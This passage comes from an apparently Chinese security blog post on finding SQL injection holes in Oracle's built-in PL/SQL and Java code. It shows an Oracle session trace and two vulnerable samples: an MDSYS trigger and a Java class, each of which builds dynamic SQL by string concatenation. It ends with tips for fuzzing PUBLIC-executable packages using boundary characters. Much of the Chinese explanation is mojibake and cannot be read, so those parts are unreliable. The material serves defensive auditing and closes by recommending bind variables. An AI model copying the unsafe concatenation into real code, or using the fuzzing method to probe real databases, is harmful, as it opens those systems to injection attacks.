  m=5831012022
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 
  oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
  oacfl2=0 size=24 offset=0
bfp=04a8fb80 bln=22 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5831012236
WAIT #1: nam='SQL*Net message from client' ela= 2431209
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61 
  tim=5833443769 hv=2888538493 ad='669abe84'
select 'x' from dual
END OF STMT
PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5833443764
BINDS #1:
EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
  =5833443861
WAIT #1: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 412 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5833444394
WAIT #1: nam='SQL*Net message from client' ela= 526 
  p1=1413697536 p2=1 p3=0
STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
  FULL DUAL '
=====================
PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61
  tim=5833445119 hv=2628502993 ad='669c5924'
begin
if :enable = 0 then
sys.dbms_output.disable;
else
sys.dbms_output.enable(:size);
end if;
end;
END OF STMT
PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5833445116
BINDS #1:
bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
  oacfl2=0 size=48 offset=0
bfp=04a8fb68 bln=22 avl=02 flg=05
value=1
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
  oacfl2=0 size=0 offset=24
bfp=04a8fb80 bln=22 avl=02 flg=01
value=10000
WAIT #1: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5833445350
WAIT #1: nam='SQL*Net message from client' ela= 44290 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 
  tim=5833489927 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
  end;
END OF STMT
PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
  im=5833489922
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 
  oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5833490119
WAIT #1: nam='SQL*Net message from client' ela= 680 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61 
  tim=5833510806 hv=1342917134 ad='66548fe8'
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'
ǵĽ
END OF STMT
PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4
  ,tim=5833510799
BINDS #1:
EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
  =5833510934

OK,Åãż¿´ÁËÕâô¶àÀ¬»ø£¬ÐÁ¿à´ó¼ÒÁË¡£ÒÔÉϵÄSQL×¢Èë¾ÍÊÇÀàË
  ǵExample2
Զ䣬ֻעһEXPй

ÄÇôÆä´Îtrigger¾ÍÊÇ¼à¿Ø¶Ôϵͳ±íµÄÔöɾ¸Ä²Ù×÷£¬È»ºóÆä·ÖÎö
  Redo־
Ͳٶ˵ˣҿȥйORACLE DBAϡ

β

±¾ÎĽéÉÜÁ˹ØÓÚORACLEÄÚ²¿×¢ÉäµÄ©¶´¼ì²éºÍÍÚ¾ò£¬µ«ÊÇÒÔÉÏÀ
  Ӷ˵˺öڴ洢
¹ý³Ì»òÕߺ¯ÊýµÄ©¶´£¬Æäʵ²¢²»ÊÇÕâÑùµÄ¡£ÎÒÃÇÏÂÃæµÄÒ»¸öϵÍ
  trigger

create or replace trigger MDSYS.sdo_drop_user
after drop on DATABASE
declare
stmt varchar2(200);
BEGIN
if dictionary_obj_type = 'USER' THEN
stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' 
  ';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_MAPS_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' 
  ';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_STYLES_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' 
  ';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_THEMES_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' 
  ';
EXECUTE IMMEDIATE stmt;
stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' ||
' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' 
  ';
EXECUTE IMMEDIATE stmt;
end if;
end;

±»É¾³ýµÄ¶ÔÏósys.dictionary_obj_nameÕâÀï¾Í´æÔÚSQL×¢Èë¹¥»
  ˡ

ô򵥷һSQLJ뿴ұעĵط

create or replace and compile java source named 
  sys./28221493_foreachclass as
/* generated by Jasper from ForEachClass.jsl */

package oracle.jaccelerator.server;

import oracle.aurora.rdbms.ClassHandle;
import oracle.jaccelerator.server.PackageValidateAll;
import java.lang.String;
import oracle.jaccelerator.server.ClassProcessor;
import oracle.aurora.rdbms.Schema;
import oracle.jaccelerator.server.ForEachClass;
import java.sql.Connection;
import oracle.jaccelerator.server.PackageDisableNcomp;
import oracle.aurora.rdbms.Handle;
import java.lang.Exception;
import oracle.sql.*;
import java.io.*;
import oracle.jaccelerator.server.*;
import oracle.jdbc.driver.*;
import java.sql.*;
import java.lang.*;
import java.util.*;

public class ForEachClass {
public static String from_plsql (String processorName,
String packageNamePattern,
String schema) {
ClassProcessor processor = null;

try {
Class clazz = 
  Class.forName("oracle.jaccelerator.server." + 
  processorName);
processor = ((ClassProcessor)clazz.newInstance()).init(
  packageNamePattern, schema);
} catch (ClassNotFoundException ex) {
return "class oracle.jaccelerator.server." + 
  processorName + " not found";
} catch (Exception ex2) {
return "can not instantiate class 
  oracle.jaccelerator.server." + processorName;
}
int count = ForEachClass.inPackage(packageNamePattern, 
  schema).apply(processor);
return "processed total: " + count + " classes";
}

public static ForEachClass inPackage (String 
  packageName, String schema) {
return new ForEachClass(packageName, schema);
}

Connection connection;
int counter = 0;
String packageNamePattern;
String schema;

public ForEachClass (String packageNamePattern, String 
  schema) {
this.packageNamePattern = 
  packageNamePattern.replace('.', '/');
this.schema = schema;
}

public int apply (ClassProcessor processor) {
try {
OracleDriver driver = new OracleDriver();
connection = driver.defaultConnection();
doit(processor);
} catch (Exception e) {
e.printStackTrace();
}
finally {
if (connection != null) {
}
}
return counter;
}

void cleanup (Connection connection) {
}

public void doit (ClassProcessor processor) throws 
  java.lang.Exception {
cleanup(connection);
Statement stmt = connection.createStatement();

try {
String cmd;
cmd = "select dbms_java.longname(OBJECT_NAME) " +
"from user_objects " +
"where OBJECT_TYPE = 'JAVA CLASS' and " +
"dbms_java.longname(OBJECT_NAME) like '" +
packageNamePattern +
"/%' " +
"and dbms_java.longname(OBJECT_NAME) not like '" +
packageNamePattern +
"/%/%'";
//ϴ洢SQLע
ResultSet rset = stmt.executeQuery(cmd);

while (rset.next()) {
String className = rset.getString(1);
processor.execute(className);
counter++;
}
} catch (Exception e) {
System.out.println(" got error " + e);
}
finally {
if (stmt != null)
stmt.close();
}
}
}

¿´µ½Á˰ɣ¬ÍùÍùÆ´½ÓSQLÓï¾ä¾ÍÊÇΣÏյĿªÊ¼£¬OK£¬Ê£ÏµÄÎÒ¾Í
  ˵ˡ



四、最后

这里说一下ORACLE简单的FUZZ,可以查询ALL_OBJECTS找出所有的package function
procedure与ALL_ARGUMENTS关联获取执行对象的参数类型!当然最好是审核一下FUZZ的对象
EXECUTE权限是否为PUBLIC:

select * from ALL_TAB_PRIVS

如数字的可以使用TO_NUMBER(0.10001,'999999D99999'),字符串可以尝试使用 " ' ;
这些边界字符测试。不过还有好多自定义类型没办法太智能的检测。还是分析代码最为王
道。

最后说一句,请使用参数绑定防止SQL注入。谢谢!

Trackback(0)
Comments (0)Add Comment

Write comment
quote
bold
italicize
underline
strike
url
image
quote
quote
smile
wink
laugh
grin
angry
sad
shocked
cool
tongue
kiss
cry
smaller | bigger

security code
Write the displayed characters


busy